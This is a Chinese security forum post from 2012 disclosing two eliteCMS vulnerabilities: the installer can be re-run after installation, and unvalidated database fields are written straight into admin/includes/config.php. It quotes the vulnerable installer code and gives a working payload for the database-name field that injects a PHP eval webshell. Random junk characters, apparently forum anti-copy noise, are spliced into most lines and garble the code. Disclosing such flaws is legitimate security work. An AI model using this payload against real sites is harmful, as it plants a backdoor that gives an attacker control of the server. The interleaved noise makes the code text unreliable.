找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2429|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
8 {, q4 B1 ^2 O" J7 _
) y! ^5 ?3 z: F+ J9 d. p- E* [5 Z另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
7 o, m& R" A# T) Z+ Q2 D我们来看代码:0 T5 R1 ~2 \* j" t; B+ d2 N$ t

# F6 b5 o$ S  {. S& r...
- Y" m# o( D$ T8 C3 Qelseif ($_GET['step'] == "4") {
; K7 a* _, n$ W: n" s    $file = "../admin/includes/config.php";
% }9 \$ i6 p: k! A' \. {    $write = "<?php\n";7 z9 p# A0 i& T/ T! c
    $write .= "/**\n";1 c& j6 u/ x6 I" Y- T
    $write .= "*\n";
( Q$ T5 L+ a' ]5 z2 _    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
) S) ]" k# u/ u* z0 I0 I...略...% r5 w6 D, \8 L! O
    $write .= "*\n";  u6 R0 G- t* s9 s& K* a+ m
    $write .= "*/\n";
4 {# v: T2 h  s' n1 `! _    $write .= "\n";
/ H, ~1 a% A5 G0 e; Y    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";! @* m9 Z3 M9 Z- Y! c3 R; [
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";' z  n7 G$ i* W% m& V
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
, R0 U! O- y$ i  R: k/ _& k    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";- ?; E) n; ?' T: t1 f+ G$ m
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";4 C- w, ]# e1 B: ^- g
    $write .= "if (!\$connection) {\n";4 F& V6 F/ i5 j& k" c
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";: Z- k7 O+ {1 k: L' U/ P
    $write .= "        \n";
; ^; f6 z$ W' a4 }3 E; @$ i    $write .= "} \n";4 j! w5 W9 s# |+ z
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
( H( p+ b: z+ |9 D    $write .= "if (!\$db_select) {\n";3 k( j1 r" T+ d9 [5 Y
    $write .= "        die(\"Database select failed\" .mysql_error());\n";) O6 B) V% E5 g! O0 ^3 t
    $write .= "        \n";
  A' I& ^2 ~* `. z" y6 u    $write .= "} \n";) ^" ^1 B  Z- w5 W: N
    $write .= "?>\n";& I1 Y# F1 o# r4 P
  ~7 G9 B( g' @+ U6 y; d
    $writer = fopen($file, 'w');
# Q* d9 K. i( i0 c$ H4 f...
0 v: z3 {2 S( {7 X7 P% s% U. T ' w5 i) F4 N2 t# N$ E6 ]
在看代码:$ A. g8 j& c0 J% P3 t; _* V

* f, w( I! _( P( A* j$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
1 m2 G- t# V% H8 C, `$_SESSION['DB_NAME'] = $_POST['DB_NAME'];( {2 v5 q% F! y
$_SESSION['DB_USER'] = $_POST['DB_USER'];2 \8 X% P" p  B. ~/ l  `1 f* D
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];. Z( H7 u  G* c

; k" @0 B. E5 ]. I3 `取值未作任何验证1 N/ y1 G. [1 {, Z
如果将数据库名POST数据:/ P9 Q4 A6 c6 m7 I0 u' [3 x, v

1 I! `& s! l9 _  v"?><?php eval($_POST[c]);?><?php
" J" E2 D+ D! I 6 w6 {1 I0 g0 I1 q* Q
将导致一句话后门写入/admin/includes/config.php- U" y1 j% N- \' t6 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表